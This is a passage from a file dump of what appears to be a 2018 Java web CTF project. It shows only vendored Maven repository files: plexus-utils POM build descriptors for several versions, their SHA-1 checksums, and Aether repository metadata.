<executions>\n          <execution>\n            <id>shade</id>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.codehaus.plexus:plexus-interpolation</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.interpolation</pattern>\n                </relocation>\n              </relocations>\n              <keepDependenciesWithProvidedScope>true</keepDependenciesWithProvidedScope>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <useReleaseProfile>true</useReleaseProfile>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.8</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>plexus-component-api</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>plexus-classworlds</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.10/plexus-utils-1.5.10.pom.sha1",
    "content": "57d2292858b9a695b97c9cf426a50d1e9b3b9292"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nplexus-utils-1.5.15.jar>central=\nplexus-utils-1.5.15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.jar.sha1",
    "content": "c689598ce1eb94c304817877ed15911099972526"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>2.0.2</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>plexus-utils</artifactId>\n  <version>1.5.15</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.15</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.15</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.15</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <dependencies>\n    <dependency>\n      <!-- NOTE: plexus-interpolation is SHADED INTO plexus-utils.\n           This is done to provide a migration path from the old\n           interpolation classes in plexus-utils to the current\n           implementation, which was broken out into plexus-interpolation.\n           The old classes still exist in plexus-utils, but are \n           DEPRECATED.\n      -->\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.11</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-classworlds</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!-- required to ensure the test classes are used, not surefire's plexus-utils -->\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>shade</id>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.codehaus.plexus:plexus-interpolation</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.interpolation</pattern>\n                </relocation>\n              </relocations>\n              <keepDependenciesWithProvidedScope>true</keepDependenciesWithProvidedScope>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <useReleaseProfile>true</useReleaseProfile>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.15/plexus-utils-1.5.15.pom.sha1",
    "content": "b1f42bc7ebc5be3c0414f67fe2daf3b183acd74f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:46 CST 2018\nplexus-utils-1.5.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.11</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.5.5</version>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.5</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.5</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.5</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-clean-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.0.2</version>\n        <configuration>\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-resources-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>1.0.1</version>\n        <executions>\n          <execution>\n            <id>shade</id>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.codehaus.plexus:plexus-interpolation</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.interpolation</pattern>\n                </relocation>\n              </relocations>\n              <keepDependenciesWithProvidedScope>true</keepDependenciesWithProvidedScope>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-7</version>\n        <configuration>\n          <useReleaseProfile>true</useReleaseProfile>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.0</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.5/plexus-utils-1.5.5.pom.sha1",
    "content": "6d04eaae6db5f8d879332da294a46df0fd81450f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:51 CST 2018\nplexus-utils-1.5.6.pom>central=\nplexus-utils-1.5.6.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.jar.sha1",
    "content": "8fb6b798a4036048b3005e058553bf21a87802ed"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.12</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.5.6</version>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.6</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.6</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.6</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-clean-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.0.2</version>\n        <configuration>\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-resources-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>1.0.1</version>\n        <executions>\n          <execution>\n            <id>shade</id>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.codehaus.plexus:plexus-interpolation</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.interpolation</pattern>\n                </relocation>\n              </relocations>\n              <keepDependenciesWithProvidedScope>true</keepDependenciesWithProvidedScope>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-7</version>\n        <configuration>\n          <useReleaseProfile>true</useReleaseProfile>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/javase/6/docs/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.6/plexus-utils-1.5.6.pom.sha1",
    "content": "2df1a6c4e7b1849a10643a37a6f66b21d49bd643"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:40 CST 2018\nplexus-utils-1.5.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.2</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-utils</artifactId>\n  <name>Plexus Common Utilities</name>\n  <version>1.5.8</version>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.8</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-1.5.8</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-1.5.8</url>\n  </scm>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-ear-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-ejb-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-rar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>true</useReleaseProfile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-war-plugin</artifactId>\n          <version>2.1-alpha-1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <childDelegation>true</childDelegation>\n          <excludes>\n            <exclude>org/codehaus/plexus/util/FileBasedTestCase.java</exclude>\n            <exclude>**/Test*.java</exclude>\n          </excludes>\n          <systemProperties>\n            <property>\n              <name>JAVA_HOME</name>\n              <value>${JAVA_HOME}</value>\n            </property>\n            <property>\n              <name>M2_HOME</name>\n              <value>${M2_HOME}</value>\n            </property>\n          </systemProperties>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>shade</id>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>org.codehaus.plexus:plexus-interpolation</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.interpolation</pattern>\n                </relocation>\n              </relocations>\n              <keepDependenciesWithProvidedScope>true</keepDependenciesWithProvidedScope>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <useReleaseProfile>true</useReleaseProfile>\n          <tagBase>https://svn.codehaus.org/plexus/plexus-utils/tags/</tagBase>\n          <arguments>-Prelease</arguments>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/1.5.8/plexus-utils-1.5.8.pom.sha1",
    "content": "7deaa90e5725075c9f9fb5a2cfbef75c86a5e5b5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:09 CST 2018\nplexus-utils-2.0.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-utils/2.0.4/plexus-utils-2.0.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>2.0.6</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>plexus-utils</artifactId>\n  <version>2.0.4</version>\n\n  <name>Plexus Common Utilities</name>\n  <description>A collection of various utility classes to ease working with strings, files, command lines, XML and more.</description>\n  <url>http://plexus.codehaus.org/plexus-utils</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.4</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-utils/tags/plexus-utils-2.0.4</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-utils/tags/plexus-utils-2.0.4</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLXUTILS</url>\n  </issueManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <!-- surefire requires plexus-utils to be jdk 1.3 compatible -->\n          <source>1.3</source>\n          <target>1.3</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        